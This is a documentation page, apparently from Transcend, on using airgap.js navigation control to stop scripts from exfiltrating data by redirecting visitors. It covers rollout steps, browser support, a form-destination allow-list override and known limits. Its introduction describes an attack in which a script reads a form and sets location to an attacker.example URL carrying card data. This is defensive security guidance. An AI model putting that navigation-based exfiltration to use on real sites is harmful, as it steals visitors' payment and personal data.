# Stop exfiltration through navigation (/docs/consent-management/security-controls/stop-exfiltration-through-navigation)

After this guide, a script on your page can no longer send data away by navigating the visitor to another site. You turn on navigation control, check where visitors go, and then enforce.

A script on a host you approved can read a form and set `location` to `https://attacker.example/?card=...`. The browser leaves your page. No `fetch`, image, or beacon request ever fires, so request rules never see it. Navigation control closes that gap. See the [navigation control reference](../reference/navigation-control.mdx) for every option.

## What navigation control covers [#what-navigation-control-covers]

When it is on, airgap.js treats these as requests that rules can allow, block, or rewrite before the browser commits them:

- Link clicks
- Form submissions
- `location` assignments
- `history` navigations
- `window.open()`
- Other transitions that replace the current document

It does not cover every case. See [Limits](#limits).

## Steps [#steps]

1. Add `data-regulate-navigation="report-only"` to the airgap.js tag. airgap.js lists navigations in telemetry and changes nothing.
2. Open Triage and check the places visitors go. Classify the hosts you expect.
3. Change the value to `on`. airgap.js now treats a navigation like a request, and cancels a navigation to an unknown host.

```html
<script
  data-cfasync="false"
  src="https://transcend-cdn.com/cm/<your-bundle-id>/airgap.js"
  data-regulate-navigation="on"
></script>
```

Navigation control follows your Unknown Request Policy. Set it to **Block** first. See [Block unknown requests](./block-unknown-requests.mdx#turn-on-navigation-control) for the full rollout.

Telemetry records the host and scheme of each navigation. It never sends the path or query string, which can hold personal data. A Content Security Policy (CSP) `report-uri` endpoint receives the full report that the browser builds, including the URL of the page.

## Browser support [#browser-support]

Most coverage needs the [Navigation API](https://developer.mozilla.org/en-US/docs/Web/API/Navigation_API).

| Browser | First version with the Navigation API |
| ------- | ------------------------------------- |
| Chrome  | 102                                   |
| Edge    | 102                                   |
| Firefox | 147                                   |
| Safari  | 26.2                                  |

In an older browser, navigation control covers only form submissions and `window.open()`.

## Rewrite or restrict navigations [#rewrite-or-restrict-navigations]

Use a [request override](./write-request-overrides.mdx) to change a navigation instead of cancelling it. Check for these types:

| `request.type`    | What it is                                                                         |
| ----------------- | ---------------------------------------------------------------------------------- |
| `navigation`      | A navigation that changes the current document.                                    |
| `DOM:link`        | A link on the page. As of airgap.js 9.167.0, overrides run on links when navigation control is on. |
| `DOM:form-action` | The destination of a form. You can change or block it.                             |

To strip personal data from links, use the [link recipe](./write-request-overrides.mdx#strip-personal-data-from-links). To limit where forms can send data, block any form destination that is not on your list:

```js
self.airgap = { overrides: [], ...self.airgap };

const FORM_HOSTS = /(^|\.)(store\.example|payments\.example)$/;

self.airgap.overrides.push({
  override(request) {
    if (request.type !== 'DOM:form-action') {
      return;
    }
    const isListed = request.URLs.every(
      (url) => url && FORM_HOSTS.test(url.hostname),
    );
    if (!isListed) {
      request.block();
    }
  },
});
```

Put this script before the airgap.js tag.

## Test that a navigation is blocked [#test-that-a-navigation-is-blocked]

1. Turn on navigation control and set the Unknown Request Policy to **Block**.
2. Open your page and the browser console.
3. Run `location.href = 'https://unknown-host.example/?test=1'`, using a host that is not in your data flows.
4. Check that the page stays where it is.
5. Open Triage and look for the host.

The [airgap security demo](https://github.com/transcend-io/examples/tree/main/airgap-security-demo) runs this attempt with and without navigation control.

## Limits [#limits]

- **Browser actions are out of reach.** Navigation control cannot stop a navigation that the browser starts, such as typing in the address bar or using the back and forward buttons.
- **Old browsers get partial coverage.** Without the Navigation API, only form submissions and `window.open()` are covered.
- **Form data is not editable.** An override can allow, cancel, or redirect a form submission. It cannot change the form fields. It can change the destination.
- **Timing matters.** airgap.js must load before other scripts. A script that runs first is not regulated.
- **Report-only does not enforce.** With `report-only`, airgap.js applies no consent rules and no overrides to navigations.

## Next steps [#next-steps]

- Write rules for the requests that your approved hosts receive. See [Write request overrides](./write-request-overrides.mdx).
- Follow an attack through each control in the [attack walkthrough](./walkthrough-a-client-side-attack.mdx).
